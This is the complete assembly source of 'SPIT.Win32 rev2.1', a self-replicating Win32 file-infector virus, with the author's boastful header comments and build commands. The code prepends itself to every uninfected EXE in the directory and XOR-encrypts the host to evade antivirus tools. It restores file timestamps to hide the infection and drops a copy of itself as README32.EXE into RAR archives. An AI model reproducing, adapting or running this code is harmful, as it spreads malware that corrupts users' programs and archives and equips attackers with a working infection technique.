;          
;   SPIT.Win32 rev2.1
;   a Bumblebee Win32 Virus
;
;   . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
;   Win32 virus using ffirst 'n' fnext.
;   . Copies into host: virus+host. When host execs copies host to
;   temporary file and execs it. Then waits until exec ends to delete
;   the tmp file. It's like a spit: petty but annoying if falls over you ;)
;
;   . Is my 1st PE virus and can be improved -see icons on infected files-.
;   But SPIT uses a simple way to infect!
;
;   . Notes:
;               - Uses WinExec 'cause CreateProcess is more complex.
;               - Virus size is 8192 bytes (code+data+headers+...)
;               - Marks Dos header with 'hk' on infected files
;               - Makes a semi-random name for tmp file
;
;   . What's new on rev2?
;
;               - Only infect PE files
;               - exec host before infect
;               - Best random tmp name
;               - Hide tmp host with hidden attribute while exec
;               - Encrypts host -fuck you avers ;)-
;               - no file time change
;               - uses CD13 routines to drop over RAR file -Thanx CD13!-
;
;   . What's new on rev2.1?
;               - a stupid error fixed -WinExec 1st push must be 1 :(-
;
;
;   . ThanX to...
;
;     ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
;              find a bug when i think it was finished ...
;
;
;                                               The way of the bee
;
;   . yeah Lich... win32 programming is:
;
;        push   shit
;        push   moreShit
;        push   tooMuchShit
;        call   WinGoesToHell
;
;
;       tasm /ml /m3 v32,,;
;       tlink32 -Tpe -c v32,v32,, import32.lib
;

.386
locals
jumps
.model flat,STDCALL

        ; procs to import
        extrn           ExitProcess:PROC
        extrn           CreateFileA:PROC
        extrn             WriteFile:PROC
        extrn           CloseHandle:PROC
        extrn        FindFirstFileA:PROC
        extrn         FindNextFileA:PROC
        extrn              ReadFile:PROC
        extrn       GetCommandLineA:PROC
        extrn          VirtualAlloc:PROC
        extrn           VirtualFree:PROC
        extrn           MessageBoxA:PROC
        extrn               _llseek:PROC
        extrn           GetFileSize:PROC
        extrn           DeleteFileA:PROC
        extrn               WinExec:PROC
        extrn               lstrcpy:PROC
        extrn               lstrcat:PROC
        extrn         GetSystemTime:PROC
        extrn    SetFileAttributesA:PROC
        extrn           GetFileTime:PROC
        extrn           SetFileTime:PROC


; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA         struc
dwFileAttributes        dd      0
dwLowDateTime0          dd      ?       ; creation
dwHigDateTime0          dd      ?
dwLowDateTime1          dd      ?       ; last access
dwHigDateTime1          dd      ?
dwLowDateTime2          dd      ?       ; last write
dwHigDateTime2          dd      ?
nFileSizeHigh           dd      ?
nFileSizeLow            dd      ?
dwReserved              dd      0,0
cFileName               db      260 dup(0)
cAlternateFilename      db      14 dup(0)
                        db      2 dup(0)
WIN32_FIND_DATA         ends

; struc from 29A INC files... THANX you a lot!
IMAGE_DOS_HEADER  STRUC
    MZ_magic      DW    ?           ; Magic number
    MZ_cblp       DW    ?           ; Bytes on last page of file
    MZ_cp         DW    ?           ; Pages in file
    MZ_crlc       DW    ?           ; Relocations
    MZ_cparhdr    DW    ?           ; Size of header in paragraphs
    MZ_minalloc   DW    ?           ; Minimum extra paragraphs needed
    MZ_maxalloc   DW    ?           ; Maximum extra paragraphs needed
    MZ_ss         DW    ?           ; Initial (relative) SS value
    MZ_sp         DW    ?           ; Initial SP value
    MZ_csum       DW    ?           ; Checksum
    MZ_ip         DW    ?           ; Initial IP value
    MZ_cs         DW    ?           ; Initial (relative) CS value
    MZ_lfarlc     DW    ?           ; File address of relocation table
    MZ_ovno       DW    ?           ; Overlay number
    MZ_res        DW    4 DUP (?)   ; Reserved words
    MZ_oemid      DW    ?           ; OEM identifier (for e_oeminfo)
    MZ_oeminfo    DW    ?           ; OEM information; e_oemid specific
    MZ_res2       DW    10 DUP (?)  ; Reserved words
    MZ_lfanew     DD    ?           ; File address of new exe header
IMAGE_DOS_HEADER  ENDS
IMAGE_SIZEOF_DOS_HEADER EQU   SIZE  IMAGE_DOS_HEADER

; for RAR drop
HeaderSize  equ FinRARHeader-RARHeader
Size        equ 8192

.DATA

dos_header              IMAGE_DOS_HEADER <?>    ; for inf check test
find_data               WIN32_FIND_DATA <?>     ; for ffirst 'n' fnext
fMask:                  db      '*.EXE',0       ; mask for exe
ffHnd:                  dd      ?               ; ff'n'fn handle
fHnd:                   dd      ?               ; file handle
mHnd:                   dd      ?               ; memory handle
mtHnd:                  dd      ?               ; tmp memory handle
mtaHnd:                 dd      ?               ; tmp memory handle for args
commandLine:            dd      ?               ; you know...
hArgs:                  db      ?               ; flag for has args
argsPos:                dd      ?               ; pos of args in cmd line
fSize:                  dd      ?               ; tmp size of file
size2Read               dd      0               ; used for r/w ops

titleb                  db      'Virus Report rev2.1',0
vid                     db      'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
mess                    db      0ah,0dh,'Feel the power of Spain and die by the SpiT!'
                        db      0ah,0dh,0
tmpHost                 db      'bbbee'
rndHost                 db      '000000.exe',0
execStatus:             db      0               ; status after exec

sysTimeStruct           db      16 dup(0)

; data for save time
stfHnd                  dd      ?
time0                   dd      0,0
time1                   dd      0,0
time2                   dd      0,0
sErr                    db      0

; data for RAR drop by CD13
dMask:          db      '*.RAR',0       ; mask for rar
Number          dd 0
RARHeader:                                      ; Header that we will add
RARHeaderCRC    dw 0                            ; We'll fill: CRC of header
RARType         db 074h                         ; File Header
RARFlags        dw 8000h
RARHeadsize     dw HeaderSize
RARCompressed   dd Size                         ; Compressed and Original
RAROriginal     dd Size                         ; size are the same, we stored
RAROs           db 0                            ; OS: ms-dos
RARCrc32        dd 0                            ; We must fill this field
RARFileTime     db 063h,078h                    ; Time of the program
RARFileDate     db 031h,024h                    ; Date of the proggy
RARNeedVer      db 014h
RARMethod       db 030h                         ; Method: storing
RARFnameSize    dw FinRARHeader-RARName
RARAttrib       dd 0
RARName         db "README32.EXE"               ; Name of file to drop

FinRARHeader label byte

.CODE

inicio:
        lea     eax,sysTimeStruct       ; check for payload
        push    eax
        call    GetSystemTime

        lea     eax,sysTimeStruct       ; april 5
        cmp     word ptr [eax+2],4
        jne     skipPay
        cmp     word ptr [eax+6],5
        jne     skipPay

        push    1000h                   ; petty payload
        lea     eax,titleb
        push    eax
        lea     eax,vid
        push    eax
        push    0
        call    MessageBoxA

skipPay:
        call    GetCommandLineA         ; get command line
        mov     dword ptr [commandLine],eax

skipArgs:                               ; skip args
        cmp     dword ptr [eax],'EXE.'
        je      argsOk
        inc     eax
        jmp     skipArgs
argsOk:
        add     eax,4
        cmp     byte ptr [eax],0
        jne     hasArgs
        mov     byte ptr hArgs,0
        jmp     sHasArgs
hasArgs:
        mov     byte ptr [eax],0
        mov     byte ptr hArgs,1
        mov     dword ptr [argsPos],eax

sHasArgs:

        call    execHoste       ; exec host

        push    00000004h       ; read/write page
        push    00001000h       ; mem commit (reserve phys mem)
        push    8192            ; size to alloc
        push    0h              ; let system decide where to alloc
        call    VirtualAlloc
        cmp     eax,0
        je      justOut         ; ops... not memory to alloc?
        mov     dword ptr [mHnd],eax

        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h
        push    80000000h
        mov     eax,dword ptr [commandLine]
        push    eax
        call    CreateFileA             ; open own file for read (shared)
        cmp     eax,-1
        je      justOut                 ; error: we can't infect ..snif..

        mov     dword ptr [fHnd],eax    ; save handle

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    8192
        push    dword ptr [mHnd]
        push    dword ptr [fHnd]
        call    ReadFile                ; read vx from hoste
        mov     eax,dword ptr size2Read
        cmp     eax,0
        je      justOut

        mov     eax,dword ptr [mHnd]
        add     eax,12h
        mov     word ptr [eax],'kh'     ; infection sign
                                        ; -only needed in 1st infection-
                                        ; but...

hOwnClose:
        mov     eax,dword ptr [fHnd]   ; close own file
        push    eax
        call    CloseHandle

        lea     eax,find_data   ; find first *.exe
        push    eax
        lea     eax,fMask
        push    eax
        call    FindFirstFileA
        cmp     eax,-1
        je      goOut
        mov     dword ptr [ffHnd],eax

fnext:
        call    checkFile       ; check file before infection process
        jc      noInfect
        call    infectFile

noInfect:
        lea     eax,find_data   ; find next *.exe
        push    eax
        mov     eax,dword ptr [ffHnd]
        push    eax
        call    FindNextFileA
        cmp     eax,0
        jne     fnext

        mov     eax,dword ptr [ffHnd]   ; close ffist/fnext handle
        push    eax
        call    CloseHandle

goOut:
        lea     eax,find_data   ; find first *.rar
        push    eax
        lea     eax,dMask
        push    eax
        call    FindFirstFileA
        cmp     eax,-1
        je      justOut  
        mov     dword ptr [ffHnd],eax

fnextRar:
        call    saveTime
        call    drop
        cmp     byte ptr [sErr],1
        je      findNextRar
        call    restoreTime

findNextRar:
        lea     eax,find_data   ; find next *.rar
        push    eax
        mov     eax,dword ptr [ffHnd]
        push    eax
        call    FindNextFileA
        cmp     eax,0
        jne     fnextRar

        mov     eax,dword ptr [ffHnd]   ; close ffist/fnext handle
        push    eax
        call    CloseHandle

justOut:
        cmp     byte ptr [execStatus],0 ; error while exec host?
        je      skipDelLoop

delLoop:
        lea     eax,tmpHost
        push    eax                     ; delete tmp hoste
        call    DeleteFileA
        cmp     eax,0
        je      delLoop                 ; wait until exec ends

skipDelLoop:
        push    0h                      ; exit
        call    ExitProcess
        jmp     skipDelLoop

checkFile:                              ; checks file
        push    edx
        lea     edx,find_data.cFileName
        call    testIfPE
        pop     edx
        jc      checkErrOut

        mov     ax,word ptr dos_header.MZ_csum
        cmp     ax,'kh'
        je      checkErrOut     ; check if it's infected yet

checkOut:
        clc
        ret

checkErrOut:
        stc
        ret

testIfPE:
        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h
        push    80000000h
        push    edx
        call    CreateFileA             ; open file for read (shared)
        cmp     eax,-1
        je      loadHErrOut

        mov     dword ptr [fHnd],eax    ; save handle

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    IMAGE_SIZEOF_DOS_HEADER
        lea     eax,dos_header
        push    eax
        push    dword ptr [fHnd]
        call    ReadFile                ; read DOS header
        mov     eax,dword ptr size2Read
        cmp     eax,0
        je      loadHErrOut

        mov     ax,word ptr [dos_header.MZ_magic]
        add     al,ah
        cmp     al,'M'+'Z'      ; check it's a EXE
        jne     loadHErrOut

        push    0
        push    dword ptr [dos_header.MZ_lfanew]
        push    dword ptr [fHnd]
        call    _llseek                 ; lseek to begin of PE header
        cmp     eax,-1
        je      loadHErrOut

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    2
        lea     eax,dos_header
        push    eax
        push    dword ptr [fHnd]
        call    ReadFile                ; read PE sign
        mov     eax,dword ptr size2Read
        cmp     eax,0
        je      loadHErrOut

        mov     ax,word ptr [dos_header.MZ_magic]
        add     al,ah
        cmp     al,'P'+'E'      ; check it's a PE
        jne     loadHErrOut

        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle
        clc
        ret

loadHErrOut:
        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle
        stc
        ret

infectFile:

        call    saveTime                ; save time of file

        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h OR 00000002h
        push    40000000h OR 80000000h
        lea     eax,find_data.cFileName
        push    eax
        call    CreateFileA             ; open file for r/w (shared)
        cmp     eax,-1
        je      infErrOutNC

        mov     dword ptr [fHnd],eax    ; save handle

        push    0
        push    eax
        call    GetFileSize
        cmp     eax,-1
        je      infErrOutC

        mov     dword ptr [fSize],eax   ; save size of file

        push    00000004h       ; read/write page
        push    00001000h       ; mem commit (reserve phys mem)
        push    eax             ; size to alloc
        push    0h              ; let system decide where to alloc
        call    VirtualAlloc    ; alloc memory for future hoste
        cmp     eax,0
        je      infErrOutC      ; ops... not memory to alloc?
        mov     dword ptr [mtHnd],eax

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    dword ptr [fSize]
        push    dword ptr [mtHnd]
        push    dword ptr [fHnd]
        call    ReadFile                ; read future hoste
        mov     eax,dword ptr size2Read
        cmp     eax,0
        je      infErrOutC

        push    0
        push    0
        push    dword ptr [fHnd]
        call    _llseek                 ; lseek to begin of file
        cmp     eax,-1
        je      infErrOutC

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    8192
        push    dword ptr [mHnd]
        push    dword ptr [fHnd]
        call    WriteFile               ; write virii

        call    encrypt                 ; encrypt hoste

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        push    dword ptr [fSize]
        push    dword ptr [mtHnd]
        push    dword ptr [fHnd]
        call    WriteFile               ; write future hoste

        push    00004000h
        push    dword ptr [fSize]
        push    dword ptr [mtHnd]
        call    VirtualFree             ; free future host mem

infErrOutC:
        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle

infErrOutNC:
        cmp     byte ptr [sErr],0
        jne     skipRestoreTime
        call    restoreTime

skipRestoreTime:
        ret

execHoste:
        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h
        push    80000000h
        mov     eax,dword ptr [commandLine]
        push    eax
        call    CreateFileA             ; open host file for read (shared)
        cmp     eax,-1
        je      exeErrOutNC

        mov     dword ptr [fHnd],eax    ; save handle

        push    0
        push    eax
        call    GetFileSize
        cmp     eax,-1
        je      exeErrOutC

        sub     eax,8192                ; sub virus size
        mov     dword ptr [fSize],eax   ; save size of file

        push    00000004h       ; read/write page
        push    00001000h       ; mem commit (reserve phys mem)
        push    eax             ; size to alloc
        push    0h              ; let system decide where to alloc
        call    VirtualAlloc    ; alloc memory for hoste
        cmp     eax,0
        je      exeErrOutC      ; ops... not memory to alloc?
        mov     dword ptr [mtHnd],eax

        push    0
        push    8192
        push    dword ptr [fHnd]
        call    _llseek                 ; lseek to hoste of file
        cmp     eax,-1
        je      exeErrOutC

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        mov     eax,dword ptr [fSize]
        push    eax
        push    dword ptr [mtHnd]
        push    dword ptr [fHnd]
        call    ReadFile                ; read hoste
        mov     eax,dword ptr size2Read
        cmp     eax,0
        je      exeErrOutC

        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle

        call    encrypt                 ; dencrypt hoste

        mov     ecx,6
        mov     edx,offset rndHost
loopRnd:
        call    getRandom               ; make a random tmp name
        mov     byte ptr [edx],al
        inc     edx
        loop    loopRnd

        xor     eax,eax
        push    eax
        push    00000020h               ; archive
        push    1
        push    eax
        push    00000001h OR 00000002h
        push    40000000h
        lea     eax,tmpHost
        push    eax
        call    CreateFileA             ; open new file for write (shared)
        cmp     eax,-1
        je      exeErrOutNC

        push    0
        mov     dword ptr [size2Read],0
        lea     eax,size2Read
        push    eax
        mov     eax,dword ptr [fSize]
        push    eax
        push    dword ptr [mtHnd]
        push    dword ptr [fHnd]
        call    WriteFile               ; write hoste

        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle

        push    00004000h
        push    dword ptr [fSize]
        push    dword ptr [mtHnd]
        call    VirtualFree             ; free future host mem

        push    00000004h       ; read/write page
        push    00001000h       ; mem commit (reserve phys mem)
        push    1024            ; size to alloc
        push    0h              ; let system decide where to alloc
        call    VirtualAlloc    ; alloc memory for hoste
        cmp     eax,0
        je      exeErrOutNC     ; ops... not memory to alloc?
        mov     dword ptr [mtaHnd],eax

        lea     eax,tmpHost
        push    eax
        mov     eax,dword ptr [mtaHnd]
        push    eax
        call    lstrcpy                 ; make a command line

        cmp     byte ptr [hArgs],0      ; it has not arguments
        je      execNow

        mov     eax,dword ptr [argsPos]
        mov     byte ptr [eax],' '
        push    eax
        mov     eax,dword ptr [mtaHnd]
        push    eax
        call    lstrcat                 ; add arguments

execNow:
        push    1
        mov     eax,dword ptr [mtaHnd]
        push    eax                     ; exec tmp hoste
        call    WinExec
        mov     byte ptr [execStatus],1

        push    2
        lea     eax,tmpHost
        push    eax
        call    SetFileAttributesA      ; hide file

        ret

exeErrOutC:
        mov     eax,dword ptr [fHnd]   ; close file
        push    eax
        call    CloseHandle

exeErrOutNC:
        ret

getRandom:
        in      al,40h
        cmp     al,65
        jb      getRandom
        cmp     al,90
        ja      getRandom

        ret

encrypt:
        mov     edi,dword ptr [mtHnd]
        mov     eax,dword ptr [fSize]   ; use size low byte as ckey
        mov     ecx,dword ptr [fSize]
encryptLoop:
        xor     byte ptr [edi],al
        inc     edi
        loop    encryptLoop
        ret

saveTime:
        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h
        push    80000000h
        lea     eax,find_data.cFileName
        push    eax
        call    CreateFileA             ; open own file for read (shared)
        cmp     eax,-1
        je      saveErr                 ; error: we can't save time

        mov     dword ptr [stfHnd],eax

        lea     eax,time2
        push    eax
        lea     eax,time1
        push    eax
        lea     eax,time0
        push    eax
        push    dword ptr [stfHnd]
        call    GetFileTime

        mov     eax,dword ptr [stfHnd]   ; close file
        push    eax
        call    CloseHandle
        mov     byte ptr [sErr],0
        ret

saveErr:
        mov     byte ptr [sErr],1
        ret

restoreTime:
        xor     eax,eax
        push    eax
        push    00000080h
        push    3
        push    eax
        push    00000001h
        push    40000000h
        lea     eax,find_data.cFileName
        push    eax
        call    CreateFileA             ; open own file for read (shared)
        cmp     eax,-1
        je      restoreErr              ; error: we can't restore time

        mov     dword ptr [stfHnd],eax

        lea     eax,time2
        push    eax
        lea     eax,time1
        push    eax
        lea     eax,time0
        push    eax
        push    dword ptr [stfHnd]
        call    SetFileTime

        mov     eax,dword ptr [stfHnd]   ; close file
        push    eax
        call    CloseHandle

restoreErr:
        ret

; CD13 routines modified for SPIT -cool routines!-
drop:
        xor     eax,eax         ; open rar file
        push    eax
        push    00000080h
        push    3
        push    eax
        push    eax
        push    40000000h
        lea     eax,find_data.cFileName
        push    eax
        call    CreateFileA
        cmp     eax,-1
        je      dropErr

        mov     dword ptr [fHnd],eax

        xor     eax,eax
        push    02
        push    eax                             ; Move pointer to EOF
        push    dword ptr [fHnd]
        call    _llseek

        mov     esi,dword ptr [mHnd]
        mov     edi,Size                        ; Get CRC32 of the program
        call    CRC32                           ; that we'll drop

        mov     dword ptr [RARCrc32],eax        ; Save the CRC

        mov     esi,offset RARHeader+2
        mov     edi,HeaderSize-2
        call    CRC32                           ; Get CRC32 of the header
        mov     word ptr [RARHeaderCRC],ax

        xor     eax,eax
        push    eax
        push    offset Number                   ; Number of bytes written
        push    HeaderSize
        push    offset RARHeader                ; Write the header
        push    dword ptr [fHnd]
        call    WriteFile

        mov     word ptr [RARHeaderCRC],0
        mov     word ptr [RARCrc32],0           ; Blank these fields
        mov     word ptr [RARCrc32+2],0

        push    0
        push    offset Number
        push    Size
        push    dword ptr [mHnd]                ; Drop the file
        push    dword ptr [fHnd]
        call    WriteFile

        push    dword ptr [fHnd]                ; Close it
        call    CloseHandle

dropErr:
        ret

CRC32:   cld                            ; Routine extracted from Vecna's
         push   ebx                     ; Inca virus! Muito brigado, friend!
         mov    ecx,-1                  ; Calculates CRC32 at runtime, no
         mov    edx,ecx                 ; need of big tables.
  NextByteCRC:
         xor    eax,eax
         xor    ebx,ebx
         lodsb
         xor    al,cl
         mov    cl,ch
         mov    ch,dl
         mov    dl,dh
         mov    dh,8
  NextBitCRC:
         shr    bx,1
         rcr    ax,1
         jnc    NoCRC
         xor    ax,08320h
         xor    bx,0edb8h
  NoCRC: dec    dh
         jnz    NextBitCRC
         xor    ecx,eax
         xor    edx,ebx
         dec    di
         jnz    NextByteCRC
         not    edx
         not    ecx
         pop    ebx
         mov    eax,edx
         rol    eax,16
         mov    ax,cx
         ret

Ends
End inicio
